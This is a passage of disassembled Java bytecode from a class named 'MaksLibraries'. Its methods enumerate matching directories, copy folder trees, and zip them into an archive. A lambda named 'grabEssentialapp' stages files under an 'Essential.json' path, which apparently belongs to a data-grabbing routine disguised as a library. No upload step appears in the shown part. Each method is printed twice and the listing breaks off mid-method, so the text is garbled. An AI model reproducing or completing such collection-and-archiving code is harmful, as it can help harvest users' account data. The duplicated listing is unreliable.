0000b3f4aload_0
0000b3f5invokevirtual #1087 // Method java/io/File.exists:()Z
0000b3f8ifeq 94
0000b3fbaload_0
0000b3fcinvokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b3ffifeq 94
0000b402aload_0
0000b403invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
0000b406astore_2
0000b407aload_2
0000b408ifnull 94
0000b40baload_2
0000b40castore_3
0000b40daload_3
0000b40earraylength
0000b40fistore 4
0000b411iconst_0
0000b412istore 5
0000b414iload 5
0000b416iload 4
0000b418if_icmpge 94
0000b41baload_3
0000b41ciload 5
0000b41eaaload
0000b41fastore 6
0000b421aload 6
0000b423invokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b426ifeq 88
0000b429aload 6
0000b42binvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b42eastore 7
0000b430aload 7
0000b432ldc_w #1457 // String "^[A-Z0-9].*[A-Z0-9]$"
0000b435invokevirtual #1445 // Method java/lang/String.matches:(Ljava/lang/String;)Z
0000b438ifeq 88
0000b43baload_1
0000b43caload 6
0000b43einvokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
0000b443pop
0000b444iinc 5, 1
0000b447goto 40
0000b44aaload_1
0000b44bareturn
0000b3ec
0000b3ecmakslibraries.MaksLibraries::getMatchingDirectories(java.io.File):
0000b3ecnew #1439 // class java/util/ArrayList
0000b3efdup
0000b3f0invokespecial #1440 // Method java/util/ArrayList.<init>:()V
0000b3f3astore_1
0000b3f4aload_0
0000b3f5invokevirtual #1087 // Method java/io/File.exists:()Z
0000b3f8ifeq 94
0000b3fbaload_0
0000b3fcinvokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b3ffifeq 94
0000b402aload_0
0000b403invokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
0000b406astore_2
0000b407aload_2
0000b408ifnull 94
0000b40baload_2
0000b40castore_3
0000b40daload_3
0000b40earraylength
0000b40fistore 4
0000b411iconst_0
0000b412istore 5
0000b414iload 5
0000b416iload 4
0000b418if_icmpge 94
0000b41baload_3
0000b41ciload 5
0000b41eaaload
0000b41fastore 6
0000b421aload 6
0000b423invokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b426ifeq 88
0000b429aload 6
0000b42binvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b42eastore 7
0000b430aload 7
0000b432ldc_w #1457 // String "^[A-Z0-9].*[A-Z0-9]$"
0000b435invokevirtual #1445 // Method java/lang/String.matches:(Ljava/lang/String;)Z
0000b438ifeq 88
0000b43baload_1
0000b43caload 6
0000b43einvokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
0000b443pop
0000b444iinc 5, 1
0000b447goto 40
0000b44aaload_1
0000b44bareturn
0000b3ec
0000b519
0000b519makslibraries.MaksLibraries::copyDirectoryToDirectory(java.io.File, java.io.File):
0000b519aload_1
0000b51ainvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000b51daload_0
0000b51einvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b521invokeinterface #1454 // Method java/nio/file/Path.resolve:(Ljava/lang/String;)Ljava/nio/file/Path;
0000b526astore_2
0000b527aload_0
0000b528invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000b52biconst_0
0000b52canewarray #1249 // class java/nio/file/FileVisitOption
0000b52finvokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000b532aload_2
0000b533aload_0
0000b534invokedynamic #1466 // InvokeDynamic #11:accept:(Ljava/nio/file/Path;Ljava/io/File;)Ljava/util/function/Consumer;
0000b539invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000b53ereturn
0000b519
0000b519makslibraries.MaksLibraries::copyDirectoryToDirectory(java.io.File, java.io.File):
0000b519aload_1
0000b51ainvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000b51daload_0
0000b51einvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b521invokeinterface #1454 // Method java/nio/file/Path.resolve:(Ljava/lang/String;)Ljava/nio/file/Path;
0000b526astore_2
0000b527aload_0
0000b528invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000b52biconst_0
0000b52canewarray #1249 // class java/nio/file/FileVisitOption
0000b52finvokestatic #1253 // Method java/nio/file/Files.walk:(Ljava/nio/file/Path;[Ljava/nio/file/FileVisitOption;)Ljava/util/stream/Stream;
0000b532aload_2
0000b533aload_0
0000b534invokedynamic #1466 // InvokeDynamic #11:accept:(Ljava/nio/file/Path;Ljava/io/File;)Ljava/util/function/Consumer;
0000b539invokeinterface #1272 // Method java/util/stream/Stream.forEach:(Ljava/util/function/Consumer;)V
0000b53ereturn
0000b519
0000b5a1
0000b5a1makslibraries.MaksLibraries::createZipArchive(java.lang.String, java.lang.String):
0000b5a1new #332 // class java/io/File
0000b5a4dup
0000b5a5aload_0
0000b5a6invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000b5a9astore_2
0000b5aanew #332 // class java/io/File
0000b5addup
0000b5aeaload_1
0000b5afinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000b5b2astore_3
0000b5b3aload_2
0000b5b4invokevirtual #1087 // Method java/io/File.exists:()Z
0000b5b7ifeq 32
0000b5baaload_2
0000b5bbinvokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b5beifne 60
0000b5c1new #1470 // class java/lang/IllegalArgumentException
0000b5c4dup
0000b5c5new #110 // class java/lang/StringBuilder
0000b5c8dup
0000b5c9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b5ccldc_w #1472 // String "Исходная папка не существует или не является директорией: "
0000b5cfinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b5d2aload_0
0000b5d3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b5d6invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b5d9invokespecial #1473 // Method java/lang/IllegalArgumentException.<init>:(Ljava/lang/String;)V
0000b5dcathrow
0000b5ddnew #824 // class java/io/FileOutputStream
0000b5e0dup
0000b5e1aload_3
0000b5e2invokespecial #1474 // Method java/io/FileOutputStream.<init>:(Ljava/io/File;)V
0000b5e5astore 4
0000b5e7aconst_null
0000b5e8astore 5
0000b5eanew #827 // class java/util/zip/ZipOutputStream
0000b5eddup
0000b5eeaload 4
0000b5f0invokespecial #830 // Method java/util/zip/ZipOutputStream.<init>:(Ljava/io/OutputStream;)V
0000b5f3astore 6
0000b5f5aconst_null
0000b5f6astore 7
0000b5f8aload_2
0000b5f9aload_2
0000b5fainvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b5fdaload 6
0000b5ffinvokestatic #1478 // Method makslibraries/MaksLibraries.addDirectoryToZip:(Ljava/io/File;Ljava/lang/String;Ljava/util/zip/ZipOutputStream;)V
0000b602aload 6
0000b604ifnull 184
0000b607aload 7
0000b609ifnull 127
0000b60caload 6
0000b60einvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000b611goto 184
0000b614astore 8
0000b616aload 7
0000b618aload 8
0000b61ainvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b61dgoto 184
0000b620aload 6
0000b622invokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000b625goto 184
0000b628astore 8
0000b62aaload 8
0000b62castore 7
0000b62eaload 8
0000b630athrow
0000b631astore 9
0000b633aload 6
0000b635ifnull 181
0000b638aload 7
0000b63aifnull 176
0000b63daload 6
0000b63finvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000b642goto 181
0000b645astore 10
0000b647aload 7
0000b649aload 10
0000b64binvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b64egoto 181
0000b651aload 6
0000b653invokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000b656aload 9
0000b658athrow
0000b659aload 4
0000b65bifnull 271
0000b65eaload 5
0000b660ifnull 214
0000b663aload 4
0000b665invokevirtual #836 // Method java/io/FileOutputStream.close:()V
0000b668goto 271
0000b66bastore 6
0000b66daload 5
0000b66faload 6
0000b671invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b674goto 271
0000b677aload 4
0000b679invokevirtual #836 // Method java/io/FileOutputStream.close:()V
0000b67cgoto 271
0000b67fastore 6
0000b681aload 6
0000b683astore 5
0000b685aload 6
0000b687athrow
0000b688astore 11
0000b68aaload 4
0000b68cifnull 268
0000b68faload 5
0000b691ifnull 263
0000b694aload 4
0000b696invokevirtual #836 // Method java/io/FileOutputStream.close:()V
0000b699goto 268
0000b69castore 12
0000b69eaload 5
0000b6a0aload 12
0000b6a2invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b6a5goto 268
0000b6a8aload 4
0000b6aainvokevirtual #836 // Method java/io/FileOutputStream.close:()V
0000b6adaload 11
0000b6afathrow
0000b6b0return
0000b5a1
0000b5a1makslibraries.MaksLibraries::createZipArchive(java.lang.String, java.lang.String):
0000b5a1new #332 // class java/io/File
0000b5a4dup
0000b5a5aload_0
0000b5a6invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000b5a9astore_2
0000b5aanew #332 // class java/io/File
0000b5addup
0000b5aeaload_1
0000b5afinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000b5b2astore_3
0000b5b3aload_2
0000b5b4invokevirtual #1087 // Method java/io/File.exists:()Z
0000b5b7ifeq 32
0000b5baaload_2
0000b5bbinvokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b5beifne 60
0000b5c1new #1470 // class java/lang/IllegalArgumentException
0000b5c4dup
0000b5c5new #110 // class java/lang/StringBuilder
0000b5c8dup
0000b5c9invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b5ccldc_w #1472 // String "Исходная папка не существует или не является директорией: "
0000b5cfinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b5d2aload_0
0000b5d3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b5d6invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b5d9invokespecial #1473 // Method java/lang/IllegalArgumentException.<init>:(Ljava/lang/String;)V
0000b5dcathrow
0000b5ddnew #824 // class java/io/FileOutputStream
0000b5e0dup
0000b5e1aload_3
0000b5e2invokespecial #1474 // Method java/io/FileOutputStream.<init>:(Ljava/io/File;)V
0000b5e5astore 4
0000b5e7aconst_null
0000b5e8astore 5
0000b5eanew #827 // class java/util/zip/ZipOutputStream
0000b5eddup
0000b5eeaload 4
0000b5f0invokespecial #830 // Method java/util/zip/ZipOutputStream.<init>:(Ljava/io/OutputStream;)V
0000b5f3astore 6
0000b5f5aconst_null
0000b5f6astore 7
0000b5f8aload_2
0000b5f9aload_2
0000b5fainvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b5fdaload 6
0000b5ffinvokestatic #1478 // Method makslibraries/MaksLibraries.addDirectoryToZip:(Ljava/io/File;Ljava/lang/String;Ljava/util/zip/ZipOutputStream;)V
0000b602aload 6
0000b604ifnull 184
0000b607aload 7
0000b609ifnull 127
0000b60caload 6
0000b60einvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000b611goto 184
0000b614astore 8
0000b616aload 7
0000b618aload 8
0000b61ainvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b61dgoto 184
0000b620aload 6
0000b622invokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000b625goto 184
0000b628astore 8
0000b62aaload 8
0000b62castore 7
0000b62eaload 8
0000b630athrow
0000b631astore 9
0000b633aload 6
0000b635ifnull 181
0000b638aload 7
0000b63aifnull 176
0000b63daload 6
0000b63finvokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000b642goto 181
0000b645astore 10
0000b647aload 7
0000b649aload 10
0000b64binvokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b64egoto 181
0000b651aload 6
0000b653invokevirtual #835 // Method java/util/zip/ZipOutputStream.close:()V
0000b656aload 9
0000b658athrow
0000b659aload 4
0000b65bifnull 271
0000b65eaload 5
0000b660ifnull 214
0000b663aload 4
0000b665invokevirtual #836 // Method java/io/FileOutputStream.close:()V
0000b668goto 271
0000b66bastore 6
0000b66daload 5
0000b66faload 6
0000b671invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b674goto 271
0000b677aload 4
0000b679invokevirtual #836 // Method java/io/FileOutputStream.close:()V
0000b67cgoto 271
0000b67fastore 6
0000b681aload 6
0000b683astore 5
0000b685aload 6
0000b687athrow
0000b688astore 11
0000b68aaload 4
0000b68cifnull 268
0000b68faload 5
0000b691ifnull 263
0000b694aload 4
0000b696invokevirtual #836 // Method java/io/FileOutputStream.close:()V
0000b699goto 268
0000b69castore 12
0000b69eaload 5
0000b6a0aload 12
0000b6a2invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b6a5goto 268
0000b6a8aload 4
0000b6aainvokevirtual #836 // Method java/io/FileOutputStream.close:()V
0000b6adaload 11
0000b6afathrow
0000b6b0return
0000b5a1
0000b86d
0000b86dmakslibraries.MaksLibraries::addDirectoryToZip(java.io.File, java.lang.String, java.util.zip.ZipOutputStream):
0000b86daload_0
0000b86einvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
0000b871astore_3
0000b872aload_3
0000b873ifnull 301
0000b876aload_3
0000b877astore 4
0000b879aload 4
0000b87barraylength
0000b87cistore 5
0000b87eiconst_0
0000b87fistore 6
0000b881iload 6
0000b883iload 5
0000b885if_icmpge 301
0000b888aload 4
0000b88aiload 6
0000b88caaload
0000b88dastore 7
0000b88faload 7
0000b891invokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b894ifeq 119
0000b897new #110 // class java/lang/StringBuilder
0000b89adup
0000b89binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b89eaload_1
0000b89finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8a2ldc_w #846 // String "/"
0000b8a5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8a8aload 7
0000b8aainvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b8adinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8b0invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b8b3astore 8
0000b8b5aload_2
0000b8b6new #848 // class java/util/zip/ZipEntry
0000b8b9dup
0000b8banew #110 // class java/lang/StringBuilder
0000b8bddup
0000b8beinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b8c1aload 8
0000b8c3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8c6ldc_w #846 // String "/"
0000b8c9invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8ccinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b8cfinvokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
0000b8d2invokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
0000b8d5aload_2
0000b8d6invokevirtual #1483 // Method java/util/zip/ZipOutputStream.closeEntry:()V
0000b8d9aload 7
0000b8dbaload 8
0000b8ddaload_2
0000b8deinvokestatic #1478 // Method makslibraries/MaksLibraries.addDirectoryToZip:(Ljava/io/File;Ljava/lang/String;Ljava/util/zip/ZipOutputStream;)V
0000b8e1goto 295
0000b8e4aload_2
0000b8e5new #848 // class java/util/zip/ZipEntry
0000b8e8dup
0000b8e9new #110 // class java/lang/StringBuilder
0000b8ecdup
0000b8edinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b8f0aload_1
0000b8f1invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8f4ldc_w #846 // String "/"
0000b8f7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8faaload 7
0000b8fcinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b8ffinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b902invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b905invokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
0000b908invokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
0000b90bnew #855 // class java/io/FileInputStream
0000b90edup
0000b90faload 7
0000b911invokespecial #858 // Method java/io/FileInputStream.<init>:(Ljava/io/File;)V
0000b914astore 8
0000b916aconst_null
0000b917astore 9
0000b919sipush 1024
0000b91cnewarray 8 // byte
0000b91eastore 10
0000b920aload 8
0000b922aload 10
0000b924invokevirtual #862 // Method java/io/FileInputStream.read:([B)I
0000b927dup
0000b928istore 11
0000b92aifle 204
0000b92daload_2
0000b92eaload 10
0000b930iconst_0
0000b931iload 11
0000b933invokevirtual #865 // Method java/util/zip/ZipOutputStream.write:([BII)V
0000b936goto 179
0000b939aload 8
0000b93bifnull 291
0000b93eaload 9
0000b940ifnull 234
0000b943aload 8
0000b945invokevirtual #866 // Method java/io/FileInputStream.close:()V
0000b948goto 291
0000b94bastore 10
0000b94daload 9
0000b94faload 10
0000b951invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b954goto 291
0000b957aload 8
0000b959invokevirtual #866 // Method java/io/FileInputStream.close:()V
0000b95cgoto 291
0000b95fastore 10
0000b961aload 10
0000b963astore 9
0000b965aload 10
0000b967athrow
0000b968astore 12
0000b96aaload 8
0000b96cifnull 288
0000b96faload 9
0000b971ifnull 283
0000b974aload 8
0000b976invokevirtual #866 // Method java/io/FileInputStream.close:()V
0000b979goto 288
0000b97castore 13
0000b97eaload 9
0000b980aload 13
0000b982invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b985goto 288
0000b988aload 8
0000b98ainvokevirtual #866 // Method java/io/FileInputStream.close:()V
0000b98daload 12
0000b98fathrow
0000b990aload_2
0000b991invokevirtual #1483 // Method java/util/zip/ZipOutputStream.closeEntry:()V
0000b994iinc 6, 1
0000b997goto 20
0000b99areturn
0000b86d
0000b86dmakslibraries.MaksLibraries::addDirectoryToZip(java.io.File, java.lang.String, java.util.zip.ZipOutputStream):
0000b86daload_0
0000b86einvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
0000b871astore_3
0000b872aload_3
0000b873ifnull 301
0000b876aload_3
0000b877astore 4
0000b879aload 4
0000b87barraylength
0000b87cistore 5
0000b87eiconst_0
0000b87fistore 6
0000b881iload 6
0000b883iload 5
0000b885if_icmpge 301
0000b888aload 4
0000b88aiload 6
0000b88caaload
0000b88dastore 7
0000b88faload 7
0000b891invokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b894ifeq 119
0000b897new #110 // class java/lang/StringBuilder
0000b89adup
0000b89binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b89eaload_1
0000b89finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8a2ldc_w #846 // String "/"
0000b8a5invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8a8aload 7
0000b8aainvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b8adinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8b0invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b8b3astore 8
0000b8b5aload_2
0000b8b6new #848 // class java/util/zip/ZipEntry
0000b8b9dup
0000b8banew #110 // class java/lang/StringBuilder
0000b8bddup
0000b8beinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b8c1aload 8
0000b8c3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8c6ldc_w #846 // String "/"
0000b8c9invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8ccinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b8cfinvokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
0000b8d2invokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
0000b8d5aload_2
0000b8d6invokevirtual #1483 // Method java/util/zip/ZipOutputStream.closeEntry:()V
0000b8d9aload 7
0000b8dbaload 8
0000b8ddaload_2
0000b8deinvokestatic #1478 // Method makslibraries/MaksLibraries.addDirectoryToZip:(Ljava/io/File;Ljava/lang/String;Ljava/util/zip/ZipOutputStream;)V
0000b8e1goto 295
0000b8e4aload_2
0000b8e5new #848 // class java/util/zip/ZipEntry
0000b8e8dup
0000b8e9new #110 // class java/lang/StringBuilder
0000b8ecdup
0000b8edinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b8f0aload_1
0000b8f1invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8f4ldc_w #846 // String "/"
0000b8f7invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b8faaload 7
0000b8fcinvokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b8ffinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b902invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b905invokespecial #849 // Method java/util/zip/ZipEntry.<init>:(Ljava/lang/String;)V
0000b908invokevirtual #853 // Method java/util/zip/ZipOutputStream.putNextEntry:(Ljava/util/zip/ZipEntry;)V
0000b90bnew #855 // class java/io/FileInputStream
0000b90edup
0000b90faload 7
0000b911invokespecial #858 // Method java/io/FileInputStream.<init>:(Ljava/io/File;)V
0000b914astore 8
0000b916aconst_null
0000b917astore 9
0000b919sipush 1024
0000b91cnewarray 8 // byte
0000b91eastore 10
0000b920aload 8
0000b922aload 10
0000b924invokevirtual #862 // Method java/io/FileInputStream.read:([B)I
0000b927dup
0000b928istore 11
0000b92aifle 204
0000b92daload_2
0000b92eaload 10
0000b930iconst_0
0000b931iload 11
0000b933invokevirtual #865 // Method java/util/zip/ZipOutputStream.write:([BII)V
0000b936goto 179
0000b939aload 8
0000b93bifnull 291
0000b93eaload 9
0000b940ifnull 234
0000b943aload 8
0000b945invokevirtual #866 // Method java/io/FileInputStream.close:()V
0000b948goto 291
0000b94bastore 10
0000b94daload 9
0000b94faload 10
0000b951invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b954goto 291
0000b957aload 8
0000b959invokevirtual #866 // Method java/io/FileInputStream.close:()V
0000b95cgoto 291
0000b95fastore 10
0000b961aload 10
0000b963astore 9
0000b965aload 10
0000b967athrow
0000b968astore 12
0000b96aaload 8
0000b96cifnull 288
0000b96faload 9
0000b971ifnull 283
0000b974aload 8
0000b976invokevirtual #866 // Method java/io/FileInputStream.close:()V
0000b979goto 288
0000b97castore 13
0000b97eaload 9
0000b980aload 13
0000b982invokevirtual #297 // Method java/lang/Throwable.addSuppressed:(Ljava/lang/Throwable;)V
0000b985goto 288
0000b988aload 8
0000b98ainvokevirtual #866 // Method java/io/FileInputStream.close:()V
0000b98daload 12
0000b98fathrow
0000b990aload_2
0000b991invokevirtual #1483 // Method java/util/zip/ZipOutputStream.closeEntry:()V
0000b994iinc 6, 1
0000b997goto 20
0000b99areturn
0000b86d
0000bb2f
0000bb2fmakslibraries.MaksLibraries::lambda$copyDirectoryToDirectory$36(java.nio.file.Path, java.io.File, java.nio.file.Path):
0000bb2faload_0
0000bb30aload_1
0000bb31invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000bb34aload_2
0000bb35invokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
0000bb3ainvokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
0000bb3fastore_3
0000bb40aload_2
0000bb41aload_3
0000bb42iconst_1
0000bb43anewarray #1111 // class java/nio/file/CopyOption
0000bb46dup
0000bb47iconst_0
0000bb48getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
0000bb4baastore
0000bb4cinvokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
0000bb4fpop
0000bb50goto 38
0000bb53astore 4
0000bb55return
0000bb2f
0000bb2fmakslibraries.MaksLibraries::lambda$copyDirectoryToDirectory$36(java.nio.file.Path, java.io.File, java.nio.file.Path):
0000bb2faload_0
0000bb30aload_1
0000bb31invokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000bb34aload_2
0000bb35invokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
0000bb3ainvokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
0000bb3fastore_3
0000bb40aload_2
0000bb41aload_3
0000bb42iconst_1
0000bb43anewarray #1111 // class java/nio/file/CopyOption
0000bb46dup
0000bb47iconst_0
0000bb48getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
0000bb4baastore
0000bb4cinvokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
0000bb4fpop
0000bb50goto 38
0000bb53astore 4
0000bb55return
0000bb2f
0000bbe3
0000bbe3makslibraries.MaksLibraries::lambda$grabEssentialapp$35(java.lang.String, java.nio.file.Path):
0000bbe3new #110 // class java/lang/StringBuilder
0000bbe6dup
0000bbe7invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000bbeagetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000bbedinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000bbf0ldc_w #1497 // String "\\Essential.json"
0000bbf3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000bbf6invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000bbf9iconst_0
0000bbfaanewarray #91 // class java/lang/String
0000bbfdinvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000bc00aload_0
0000bc01iconst_0
0000bc02anewarray #91 // class java/lang/String
0000bc05invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000bc08aload_1
0000bc09invokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
0000bc0einvokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
0000bc13astore_2
0000bc14aload_1
0000bc15iconst_0
0000bc16anewarray #455 // class java/nio/file/LinkOption
0000bc19invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
0000bc1cifeq 81
0000bc1faload_2
0000bc20iconst_0
0000bc21anewarray #455 // class java/nio/file/LinkOption
0000bc24invokestatic #559 // Method java/nio/file/Files.exists:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
0000bc27ifne 80
0000bc2aaload_2
0000bc2biconst_0
0000bc2canewarray #1499 // class java/nio/file/attribute/FileAttribute
0000bc2finvokestatic #1503 // Method java/nio/file/Files.createDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/attribute/FileAttribute;)Ljava/nio/file/Path;
0000bc32pop
0000bc33return
0000bc34aload_1
0000bc35aload_2
0000bc36iconst_1
0000bc37anewarray #1111 // class java/nio/file/CopyOption
0000bc3adup
0000bc3biconst_0
0000bc3cgetstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
0000bc3faastore
0000bc40invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
0000bc43pop
0000bc44goto 105
0000bc47astore_2
0000bc48aload_2
